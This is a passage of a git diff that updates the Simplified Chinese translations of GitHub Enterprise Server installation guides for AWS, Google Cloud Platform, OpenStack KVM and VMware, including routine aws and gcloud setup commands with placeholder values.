(EIP)](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html)(强烈建议用于生产环境) + - [EC2 和虚拟私有云](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html)(如果你计划启动虚拟私有云) + - [AWS 定价](https://aws.amazon.com/pricing/)(用于计算和管理成本) -For an architectural overview, see the "[AWS Architecture Diagram for Deploying GitHub Enterprise Server](/assets/images/installing-github-enterprise-server-on-aws.png)". +有关体系结构概述,请参阅“[用于部署 GitHub Enterprise Server 的 AWS 体系结构图](/assets/images/installing-github-enterprise-server-on-aws.png)”。 -This guide recommends the principle of least privilege when setting up {% data variables.location.product_location %} on AWS. For more information, refer to the [AWS Identity and Access Management (IAM) documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#grant-least-privilege). +本指南建议在 AWS 上设置 {% data variables.product.product_location %} 时使用最小权限原则。 有关详细信息,请参阅 [AWS 标识和访问管理 (IAM) 文档](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#grant-least-privilege)。 -## Hardware considerations +## 硬件注意事项 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %} -## Determining the instance type +## 确定实例类型 -Before launching {% data variables.location.product_location %} on AWS, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)." +在 AWS 上启动 {% data variables.product.product_location %} 之前,您需要确定最符合您的组织需求的设备类型。 若要查看 {% data variables.product.product_name %} 的最低要求,请参阅“[最低要求](#minimum-requirements)”。 {% data reusables.enterprise_installation.warning-on-scaling %} {% data reusables.enterprise_installation.aws-instance-recommendation %} -## Selecting the {% data variables.product.prodname_ghe_server %} AMI +## 选择 {% data variables.product.prodname_ghe_server %} AMI -You can select an Amazon Machine Image (AMI) for {% data variables.product.prodname_ghe_server %} using the {% data variables.product.prodname_ghe_server %} portal or the AWS CLI. +您可以使用 {% data variables.product.prodname_ghe_server %} 门户或 AWS CLI 为 {% data variables.product.prodname_ghe_server %} 选择 Amazon Machine Image (AMI)。 -AMIs for {% data variables.product.prodname_ghe_server %} are available in the AWS GovCloud (US-East and US-West) region. This allows US customers with specific regulatory requirements to run {% data variables.product.prodname_ghe_server %} in a federally compliant cloud environment. For more information on AWS's compliance with federal and other standards, see [AWS's GovCloud (US) page](http://aws.amazon.com/govcloud-us/) and [AWS's compliance page](https://aws.amazon.com/compliance/). +{% data variables.product.prodname_ghe_server %} 的 AMI 适用于 AWS GovCloud(美国东部和美国西部)区域。 因此,受特定法规要求约束的美国客户可以在符合联邦要求的云环境中运行 {% data variables.product.prodname_ghe_server %}。 有关 AWS 符合联邦和其他标准的详细信息,请参阅 [AWS 的 GovCloud (US) 页面](http://aws.amazon.com/govcloud-us/)和 [AWS 的合规性页面](https://aws.amazon.com/compliance/)。 -### Using the {% data variables.product.prodname_ghe_server %} portal to select an AMI +### 使用 {% data variables.product.prodname_ghe_server %} 门户选择 AMI {% data reusables.enterprise_installation.download-appliance %} -3. Under "{% data variables.product.prodname_dotcom %} in the Cloud", select the "Select your platform" dropdown menu, and click **Amazon Web Services**. -4. Select the "Select your AWS region" drop-down menu, and click your desired region. -5. Take note of the AMI ID that is displayed. +3. 在“云中的 {% data variables.product.prodname_dotcom %}”下,选择“选择你的平台”下拉菜单,然后单击“Amazon Web Services”。 +4. 选择“选择你的 AWS 区域”下拉菜单,然后单击所需区域。 +5. 记下显示的 AMI ID。 -### Using the AWS CLI to select an AMI +### 使用 AWS CLI 选择 AMI -1. Using the AWS CLI, get a list of {% data variables.product.prodname_ghe_server %} images published by {% data variables.product.prodname_dotcom %}'s AWS owner IDs (`025577942450` for GovCloud, and `895557238572` for other regions). For more information, see "[describe-images](http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-images.html)" in the AWS documentation. +1. 使用 AWS CLI 获取由 {% data variables.product.prodname_dotcom %} 的 AWS 所有者 ID(`025577942450` 代表 GovCloud,`895557238572` 代表其他地区)发布的 {% data variables.product.prodname_ghe_server %} 图像列表。 有关详细信息,请参阅 AWS 文档中的“[describe-images](http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-images.html)”。 ```shell aws ec2 describe-images \ - --owners OWNER_ID \ + --owners OWNER ID \ --query 'sort_by(Images,&Name)[*].{Name:Name,ImageID:ImageId}' \ --output=text ``` -2. Take note of the AMI ID for the latest {% data variables.product.prodname_ghe_server %} image. +2. 记下最新 {% data variables.product.prodname_ghe_server %} 映像的 AMI ID。 -## Creating a security group +## 添加安全组 -If you're setting up your AMI for the first time, you will need to create a security group and add a new security group rule for each port in the table below. For more information, see the AWS guide "[Using Security Groups](http://docs.aws.amazon.com/cli/latest/userguide/cli-ec2-sg.html)." +如果是首次设置 AMI,您需要创建安全组并为下表中的每个端口添加新的安全组规则。 有关详细信息,请参阅 AWS 指南“[使用安全组](http://docs.aws.amazon.com/cli/latest/userguide/cli-ec2-sg.html)”。 -1. Using the AWS CLI, create a new security group. For more information, see "[create-security-group](http://docs.aws.amazon.com/cli/latest/reference/ec2/create-security-group.html)" in the AWS documentation. +1. 使用 AWS CLI 创建新的安全组。 有关详细信息,请参阅 AWS 文档中的“[create-security-group](http://docs.aws.amazon.com/cli/latest/reference/ec2/create-security-group.html)”。 ```shell - $ aws ec2 create-security-group --group-name SECURITY_GROUP_NAME --description "SECURITY GROUP DESCRIPTION" + $ aws ec2 create-security-group --group-name SECURITY_GROUP_NAME --description "SECURITY GROUP DESCRIPTION" ``` -2. Take note of the security group ID (`sg-xxxxxxxx`) of your newly created security group. +2. 记下新创建的安全组的安全组 ID (`sg-xxxxxxxx`)。 -3. Create a security group rule for each of the ports in the table below. For more information, see "[authorize-security-group-ingress](http://docs.aws.amazon.com/cli/latest/reference/ec2/authorize-security-group-ingress.html)" in the AWS documentation. +3. 为下表中的每个端口创建安全组规则。 有关详细信息,请参阅 AWS 文档中的“[authorize-security-group-ingress](http://docs.aws.amazon.com/cli/latest/reference/ec2/authorize-security-group-ingress.html)”。 ```shell - $ aws ec2 authorize-security-group-ingress --group-id SECURITY_GROUP_ID --protocol PROTOCOL --port PORT_NUMBER --cidr SOURCE IP RANGE + $ aws ec2 authorize-security-group-ingress --group-id SECURITY_GROUP_ID --protocol PROTOCOL --port PORT_NUMBER --cidr SOURCE IP RANGE ``` - This table identifies what each port is used for. + 此表列出了每个端口的用途。 {% data reusables.enterprise_installation.necessary_ports %} -## Creating the {% data variables.product.prodname_ghe_server %} instance +## 创建 {% data variables.product.prodname_ghe_server %} 实例 -To create the instance, you'll need to launch an EC2 instance with your {% data variables.product.prodname_ghe_server %} AMI and attach an additional storage volume for your instance data. For more information, see "[Hardware considerations](#hardware-considerations)." +要创建实例,您需要使用 {% data variables.product.prodname_ghe_server %} AMI 启动 EC2 实例,并连接额外的存储卷来存储实例数据。 有关详细信息,请参阅“[硬件注意事项](#hardware-considerations)”。 {% note %} -**Note:** You can encrypt the data disk to gain an extra level of security and ensure that any data you write to your instance is protected. There is a slight performance impact when using encrypted disks. If you decide to encrypt your volume, we strongly recommend doing so **before** starting your instance for the first time. - For more information, see the [Amazon guide on EBS encryption](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html). +注意:可以加密数据磁盘以获得额外的安全级别,并确保写入实例的所有数据都受到保护。 使用加密磁盘会对性能稍有影响。 如果你决定要对卷加密,强烈建议你在首次启动实例之前进行加密。 +有关详细信息,请参阅 [Amazon EBS 加密指南](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html)。 {% endnote %} {% warning %} -**Warning:** If you decide to enable encryption after you've configured your instance, you will need to migrate your data to the encrypted volume, which will incur some downtime for your users. +警告:如果决定在配置完实例后启用加密,则需要将数据迁移到加密卷,此过程将导致用户停机一段时间。 {% endwarning %} -### Launching an EC2 instance +### 启动 EC2 实例 -In the AWS CLI, launch an EC2 instance using your AMI and the security group you created. Attach a new block device to use as a storage volume for your instance data, and configure the size based on your user license count. For more information, see "[run-instances](http://docs.aws.amazon.com/cli/latest/reference/ec2/run-instances.html)" in the AWS documentation. +在 AWS CLI 中,使用 AMI 以及您创建的安全组启动 EC2 实例。 附上新的块设备,以用作实例数据的存储卷,并根据您的用户许可数配置大小。 有关详细信息,请参阅 AWS 文档中的“[run-instances](http://docs.aws.amazon.com/cli/latest/reference/ec2/run-instances.html)”。 ```shell aws ec2 run-instances \ - --security-group-ids SECURITY_GROUP_ID \ - --instance-type INSTANCE_TYPE \ - --image-id AMI_ID \ - --block-device-mappings '[{"DeviceName":"/dev/xvdf","Ebs":{"VolumeSize":SIZE,"VolumeType":"TYPE"}}]' \ - --region REGION \ + --security-group-ids SECURITY_GROUP_ID \ + --instance-type INSTANCE_TYPE \ + --image-id AMI_ID \ + --block-device-mappings '[{"DeviceName":"/dev/xvdf","Ebs":{"VolumeSize":SIZE,"VolumeType":"TYPE"}}]' \ + --region REGION \ --ebs-optimized ``` -### Allocating an Elastic IP and associating it with the instance +### 分配弹性 IP 并将其与实例关联 -If this is a production instance, we strongly recommend allocating an Elastic IP (EIP) and associating it with the instance before proceeding to {% data variables.product.prodname_ghe_server %} configuration. Otherwise, the public IP address of the instance will not be retained after instance restarts. For more information, see "[Allocating an Elastic IP Address](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-allocating)" and "[Associating an Elastic IP Address with a Running Instance](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-associating)" in the Amazon documentation. +如果是生产实例,我们强烈建议先分配弹性 IP (EIP) 并将其与实例关联,然后再继续进行 {% data variables.product.prodname_ghe_server %} 配置。 否则,实例重新启动后将无法保留公共 IP 地址。 有关详细信息,请参阅 Amazon 文档中的“[分配弹性 IP 地址](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-allocating)”和“[将弹性 IP 地址与正在运行的实例关联](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-associating)”。 -Both primary and replica instances should be assigned separate EIPs in production High Availability configurations. For more information, see "[Configuring {% data variables.product.prodname_ghe_server %} for High Availability](/enterprise/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)." +如果采用生产高可用性配置,主实例和副本实例均应分配单独的 EIP。 有关详细信息,请参阅“[为高可用性配置 {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)”。 -## Configuring the {% data variables.product.prodname_ghe_server %} instance +## 配置 {% data variables.product.prodname_ghe_server %} 实例 -{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} -{% data reusables.enterprise_installation.upload-a-license-file %} -{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)." -{% data reusables.enterprise_installation.instance-will-restart-automatically %} -{% data reusables.enterprise_installation.visit-your-instance %} +{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} {% data reusables.enterprise_installation.upload-a-license-file %} {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} 有关详细信息,请参阅“[配置 {% data variables.product.prodname_ghe_server %} 设备](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)”。 +{% data reusables.enterprise_installation.instance-will-restart-automatically %} {% data reusables.enterprise_installation.visit-your-instance %} -## Further reading +## 延伸阅读 -- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %} -- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %} +- [系统概述](/enterprise/admin/guides/installation/system-overview) {% ifversion ghes %} +- [关于升级到新版本](/admin/overview/about-upgrades-to-new-releases) {% endif %} diff --git a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md index b60a736ab4..bf81702209 100644 --- a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md +++ b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md @@ -1,6 +1,6 @@ --- -title: Installing GitHub Enterprise Server on Google Cloud Platform -intro: 'To install {% data variables.product.prodname_ghe_server %} on Google Cloud Platform, you must deploy onto a supported machine type and use a persistent standard disk or a persistent SSD.' +title: 在 Google Cloud Platform 上安装 GitHub Enterprise Server +intro: '要在 Google Cloud Platform 上安装 {% data variables.product.prodname_ghe_server %},您必须部署到受支持的机器类型上,并使用持久标准磁盘或持久 SSD。' redirect_from: - /enterprise/admin/guides/installation/installing-github-enterprise-on-google-cloud-platform - /enterprise/admin/installation/installing-github-enterprise-server-on-google-cloud-platform @@ -14,88 +14,91 @@ topics: - Infrastructure - Set up shortTitle: Install on GCP +ms.openlocfilehash: 0fffebece94753365e1b98f014f0514cdef4f98a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145099024' --- -## Prerequisites +## 先决条件 - {% data reusables.enterprise_installation.software-license %} -- You must have a Google Cloud Platform account capable of launching Google Compute Engine (GCE) virtual machine (VM) instances. For more information, see the [Google Cloud Platform website](https://cloud.google.com/) and the [Google Cloud Platform Documentation](https://cloud.google.com/docs/). -- Most actions needed to launch your instance may also be performed using the [Google Cloud Platform Console](https://cloud.google.com/compute/docs/console). However, we recommend installing the gcloud compute command-line tool for initial setup. Examples using the gcloud compute command-line tool are included below. For more information, see the "[gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/)" installation and setup guide in the Google documentation. +- 您必须具有能够启动 Google Compute Engine (GCE) 虚拟机 (VM) 实例的 Google Cloud Platform 帐户。 有关详细信息,请参阅 [Google Cloud Platform 网站](https://cloud.google.com/)和 [Google Cloud Platform 文档](https://cloud.google.com/docs/)。 +- 启动实例所需的大多数操作也可以使用 [Google Cloud Platform 控制台](https://cloud.google.com/compute/docs/console)执行。 不过,我们建议安装 gcloud compute 命令行工具进行初始设置。 下文介绍了使用 gcloud compute 命令行工具的示例。 有关详细信息,请参阅 Google 文档中的“[gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/)”安装和安装指南。 -## Hardware considerations +## 硬件注意事项 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %} -## Determining the machine type +## 确定机器类型 -Before launching {% data variables.location.product_location %} on Google Cloud Platform, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)." +在 Google Cloud Platform 上启动 {% data variables.product.product_location %} 之前,你需要确定最适应组织需求的计算机类型。 若要查看 {% data variables.product.product_name %} 的最低要求,请参阅“[最低要求](#minimum-requirements)”。 {% data reusables.enterprise_installation.warning-on-scaling %} -{% data variables.product.company_short %} recommends a general-purpose, high-memory machine for {% data variables.product.prodname_ghe_server %}. For more information, see "[Machine types](https://cloud.google.com/compute/docs/machine-types#n2_high-memory_machine_types)" in the Google Compute Engine documentation. +{% data variables.product.company_short %} 建议对 {% data variables.product.prodname_ghe_server %} 使用通用高内存设备。 有关详细信息,请参阅 Google Compute Engine 文档中的“[计算机类型](https://cloud.google.com/compute/docs/machine-types#n2_high-memory_machine_types)”。 -## Selecting the {% data variables.product.prodname_ghe_server %} image +## 选择 {% data variables.product.prodname_ghe_server %} 映像 -1. Using the [gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/) command-line tool, list the public {% data variables.product.prodname_ghe_server %} images: +1. 使用 [gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/) 命令行工具,列出公共 {% data variables.product.prodname_ghe_server %} 映像: ```shell $ gcloud compute images list --project github-enterprise-public --no-standard-images ``` -2. Take note of the image name for the latest GCE image of {% data variables.product.prodname_ghe_server %}. +2. 记下 {% data variables.product.prodname_ghe_server %} 最新 GCE 映像的映像名称。 -## Configuring the firewall +## 配置防火墙 -GCE virtual machines are created as a member of a network, which has a firewall. For the network associated with the {% data variables.product.prodname_ghe_server %} VM, you'll need to configure the firewall to allow the required ports listed in the table below. For more information about firewall rules on Google Cloud Platform, see the Google guide "[Firewall Rules Overview](https://cloud.google.com/vpc/docs/firewalls)." +GCE 虚拟机作为具有防火墙的网络的成员创建。 对于与 {% data variables.product.prodname_ghe_server %} VM 关联的网络,您需要将防火墙配置为允许下表中列出的必需端口。 有关 Google Cloud Platform 上防火墙规则的详细信息,请参阅 Google 指南“[防火墙规则概述](https://cloud.google.com/vpc/docs/firewalls)”。 -1. Using the gcloud compute command-line tool, create the network. For more information, see "[gcloud compute networks create](https://cloud.google.com/sdk/gcloud/reference/compute/networks/create)" in the Google documentation. +1. 使用 gcloud compute 命令行工具创建网络。 有关详细信息,请参阅 Google 文档中的“[gcloud compute networks create](https://cloud.google.com/sdk/gcloud/reference/compute/networks/create)”。 ```shell - $ gcloud compute networks create NETWORK-NAME --subnet-mode auto + $ gcloud compute networks create NETWORK-NAME --subnet-mode auto ``` -2. Create a firewall rule for each of the ports in the table below. For more information, see "[gcloud compute firewall-rules](https://cloud.google.com/sdk/gcloud/reference/compute/firewall-rules/)" in the Google documentation. +2. 为下表中的各个端口创建防火墙规则。 有关详细信息,请参阅 Google 文档中的“[gcloud compute firewall-rules](https://cloud.google.com/sdk/gcloud/reference/compute/firewall-rules/)”。 ```shell - $ gcloud compute firewall-rules create RULE-NAME \ - --network NETWORK-NAME \ + $ gcloud compute firewall-rules create RULE-NAME \ + --network NETWORK-NAME \ --allow tcp:22,tcp:25,tcp:80,tcp:122,udp:161,tcp:443,udp:1194,tcp:8080,tcp:8443,tcp:9418,icmp ``` - This table identifies the required ports and what each port is used for. + 此表列出了必需端口以及各端口的用途。 {% data reusables.enterprise_installation.necessary_ports %} -## Allocating a static IP and assigning it to the VM +## 分配静态 IP 并将其分配给 VM -If this is a production appliance, we strongly recommend reserving a static external IP address and assigning it to the {% data variables.product.prodname_ghe_server %} VM. Otherwise, the public IP address of the VM will not be retained after restarts. For more information, see the Google guide "[Reserving a Static External IP Address](https://cloud.google.com/compute/docs/configure-instance-ip-addresses)." +如果此设备为生产设备,强烈建议保留静态外部 IP 地址并将其分配给 {% data variables.product.prodname_ghe_server %} VM。 否则,重新启动后将不会保留 VM 的公共 IP 地址。 有关详细信息,请参阅 Google 指南“[保留静态外部 IP 地址](https://cloud.google.com/compute/docs/configure-instance-ip-addresses)”。 -In production High Availability configurations, both primary and replica appliances should be assigned separate static IP addresses. +在生产高可用性配置中,主设备和副本设备均应获得单独的静态 IP 地址。 -## Creating the {% data variables.product.prodname_ghe_server %} instance +## 创建 {% data variables.product.prodname_ghe_server %} 实例 -To create the {% data variables.product.prodname_ghe_server %} instance, you'll need to create a GCE instance with your {% data variables.product.prodname_ghe_server %} image and attach an additional storage volume for your instance data. For more information, see "[Hardware considerations](#hardware-considerations)." +要创建 {% data variables.product.prodname_ghe_server %} 实例,您需要使用 {% data variables.product.prodname_ghe_server %} 映像创建 GCE 实例并连接额外的存储卷来存储实例数据。 有关详细信息,请参阅“[硬件注意事项](#hardware-considerations)”。 -1. Using the gcloud compute command-line tool, create a data disk to use as an attached storage volume for your instance data, and configure the size based on your user license count. For more information, see "[gcloud compute disks create](https://cloud.google.com/sdk/gcloud/reference/compute/disks/create)" in the Google documentation. +1. 使用 gcloud compute 命令行工具,创建数据磁盘,将其用作您的实例数据的附加存储卷,并根据用户许可数配置大小。 有关详细信息,请参阅 Google 文档中的“[gcloud compute disks create](https://cloud.google.com/sdk/gcloud/reference/compute/disks/create)”。 ```shell - $ gcloud compute disks create DATA-DISK-NAME --size DATA-DISK-SIZE --type DATA-DISK-TYPE --zone ZONE + $ gcloud compute disks create DATA-DISK-NAME --size DATA-DISK-SIZE --type DATA-DISK-TYPE --zone ZONE ``` -2. Then create an instance using the name of the {% data variables.product.prodname_ghe_server %} image you selected, and attach the data disk. For more information, see "[gcloud compute instances create](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create)" in the Google documentation. +2. 然后,使用所选 {% data variables.product.prodname_ghe_server %} 映像的名称创建实例,并连接数据磁盘。 有关详细信息,请参阅 Google 文档中的“[gcloud compute instances create](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create)”。 ```shell - $ gcloud compute instances create INSTANCE-NAME \ + $ gcloud compute instances create INSTANCE-NAME \ --machine-type n1-standard-8 \ - --image GITHUB-ENTERPRISE-IMAGE-NAME \ - --disk name=DATA-DISK-NAME \ + --image GITHUB-ENTERPRISE-IMAGE-NAME \ + --disk name=DATA-DISK-NAME \ --metadata serial-port-enable=1 \ - --zone ZONE \ - --network NETWORK-NAME \ + --zone ZONE \ + --network NETWORK-NAME \ --image-project github-enterprise-public ``` -## Configuring the instance +## 配置实例 -{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} -{% data reusables.enterprise_installation.upload-a-license-file %} -{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)." -{% data reusables.enterprise_installation.instance-will-restart-automatically %} -{% data reusables.enterprise_installation.visit-your-instance %} +{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} {% data reusables.enterprise_installation.upload-a-license-file %} {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} 有关详细信息,请参阅“[配置 {% data variables.product.prodname_ghe_server %} 设备](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)”。 +{% data reusables.enterprise_installation.instance-will-restart-automatically %} {% data reusables.enterprise_installation.visit-your-instance %} -## Further reading +## 延伸阅读 -- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %} -- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %} +- [系统概述](/enterprise/admin/guides/installation/system-overview) {% ifversion ghes %} +- [关于升级到新版本](/admin/overview/about-upgrades-to-new-releases) {% endif %} diff --git a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md index 3381721392..849e1785a1 100644 --- a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md +++ b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md @@ -1,6 +1,6 @@ --- -title: Installing GitHub Enterprise Server on OpenStack KVM -intro: 'To install {% data variables.product.prodname_ghe_server %} on OpenStack KVM, you must have OpenStack access and download the {% data variables.product.prodname_ghe_server %} QCOW2 image.' +title: 在 OpenStack KVM 上安装 GitHub Enterprise Server +intro: '要在 OpenStack KVM 上安装 {% data variables.product.prodname_ghe_server %},您必须具有 OpenStack 访问权限并下载 {% data variables.product.prodname_ghe_server %} QCOW2 映像。' redirect_from: - /enterprise/admin/guides/installation/installing-github-enterprise-on-openstack-kvm - /enterprise/admin/installation/installing-github-enterprise-server-on-openstack-kvm @@ -14,44 +14,46 @@ topics: - Infrastructure - Set up shortTitle: Install on OpenStack +ms.openlocfilehash: 105201d2759b333d297278aa7fe32a9544c68839 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884953' --- -## Prerequisites +## 先决条件 - {% data reusables.enterprise_installation.software-license %} -- You must have access to an installation of OpenStack Horizon, the web-based user interface to OpenStack services. For more information, see the [Horizon documentation](https://docs.openstack.org/horizon/latest/). +- 您必须有权访问 OpenStack Horizon,即 OpenStack 服务基于 Web 的用户界面。 有关详细信息,请参阅 [Horizon 文档](https://docs.openstack.org/horizon/latest/)。 -## Hardware considerations +## 硬件注意事项 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %} -## Downloading the {% data variables.product.prodname_ghe_server %} image +## 下载 {% data variables.product.prodname_ghe_server %} 映像 -{% data reusables.enterprise_installation.download-license %} -{% data reusables.enterprise_installation.download-appliance %} -4. Under "{% data variables.product.prodname_dotcom %} On-premises", select the "Select your hypervisor" dropdown menu and click **OpenStack KVM (QCOW2)**. -5. Click **Download for OpenStack KVM (QCOW2)**. +{% data reusables.enterprise_installation.download-license %} {% data reusables.enterprise_installation.download-appliance %} +4. 在“{% data variables.product.prodname_dotcom %} 本地”下,选择“选择虚拟机监控程序”下拉菜单,然后单击“OpenStack KVM (QCOW2)”。 +5. 单击“下载 OpenStack KVM (QCOW2)”。 -## Creating the {% data variables.product.prodname_ghe_server %} instance +## 创建 {% data variables.product.prodname_ghe_server %} 实例 {% data reusables.enterprise_installation.create-ghe-instance %} -1. In OpenStack Horizon, upload the {% data variables.product.prodname_ghe_server %} image you downloaded. For instructions, see the "Upload an image" section of the OpenStack guide "[Upload and manage images](https://docs.openstack.org/horizon/latest/user/manage-images.html)." -{% data reusables.enterprise_installation.create-attached-storage-volume %} For instructions, see the OpenStack guide "[Create and manage volumes](https://docs.openstack.org/horizon/latest/user/manage-volumes.html)." -3. Create a security group, and add a new security group rule for each port in the table below. For instructions, see the OpenStack guide "[Configure access and security for instances](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html)." +1. 在 OpenStack Horizon 中,上传您下载的 {% data variables.product.prodname_ghe_server %} 映像。 有关说明,请参阅 OpenStack 指南“[上传和管理映像](https://docs.openstack.org/horizon/latest/user/manage-images.html)”的“上传映像”部分。 +{% data reusables.enterprise_installation.create-attached-storage-volume %} 有关说明,请参阅 OpenStack 指南“[创建和管理卷](https://docs.openstack.org/horizon/latest/user/manage-volumes.html)”。 +3. 创建安全组,并为下表中的各个端口添加新的安全组规则。 有关说明,请参阅 OpenStack 指南“[为实例配置访问和安全性](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html)” {% data reusables.enterprise_installation.necessary_ports %} -4. Optionally, associate a floating IP to the instance. Depending on your OpenStack setup, you may need to allocate a floating IP to the project and associate it to the instance. Contact your system administrator to determine if this is the case for you. For more information, see "[Allocate a floating IP address to an instance](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html#allocate-a-floating-ip-address-to-an-instance)" in the OpenStack documentation. -5. Launch {% data variables.location.product_location %} using the image, data volume, and security group created in the previous steps. For instructions, see the OpenStack guide "[Launch and manage instances](https://docs.openstack.org/horizon/latest/user/launch-instances.html)." +4. 也可以将浮动 IP 关联到实例。 根据 OpenStack 设置,您可能需要将浮动 IP 分配给项目并将其关联到实例。 请联系您的系统管理员以确定您是否属于这种情况。 有关详细信息,请参阅 OpenStack 文档中的“[将浮动 IP 地址分配给实例](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html#allocate-a-floating-ip-address-to-an-instance)”。 +5. 使用在前几步创建的映像、数据卷和安全组启动 {% data variables.product.product_location %}。 有关说明,请参阅 OpenStack 指南“[启动和管理实例](https://docs.openstack.org/horizon/latest/user/launch-instances.html)”。 -## Configuring the {% data variables.product.prodname_ghe_server %} instance +## 配置 {% data variables.product.prodname_ghe_server %} 实例 -{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} -{% data reusables.enterprise_installation.upload-a-license-file %} -{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)." -{% data reusables.enterprise_installation.instance-will-restart-automatically %} -{% data reusables.enterprise_installation.visit-your-instance %} +{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} {% data reusables.enterprise_installation.upload-a-license-file %} {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} 有关详细信息,请参阅“[配置 {% data variables.product.prodname_ghe_server %} 设备](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)”。 +{% data reusables.enterprise_installation.instance-will-restart-automatically %} {% data reusables.enterprise_installation.visit-your-instance %} -## Further reading +## 延伸阅读 -- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %} -- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %} +- [系统概述](/enterprise/admin/guides/installation/system-overview) {% ifversion ghes %} +- [关于升级到新版本](/admin/overview/about-upgrades-to-new-releases) {% endif %} diff --git a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md index 5c82bae468..6ddc16c765 100644 --- a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md +++ b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md @@ -1,6 +1,6 @@ --- -title: Installing GitHub Enterprise Server on VMware -intro: 'To install {% data variables.product.prodname_ghe_server %} on VMware, you must download the VMware vSphere client, and then download and deploy the {% data variables.product.prodname_ghe_server %} software.' +title: 在 VMware 上安装 GitHub Enterprise Server +intro: '要在 VMWare 上安装 {% data variables.product.prodname_ghe_server %},您必须下载 VMWare vSphere 客户端,然后下载并部署 {% data variables.product.prodname_ghe_server %} 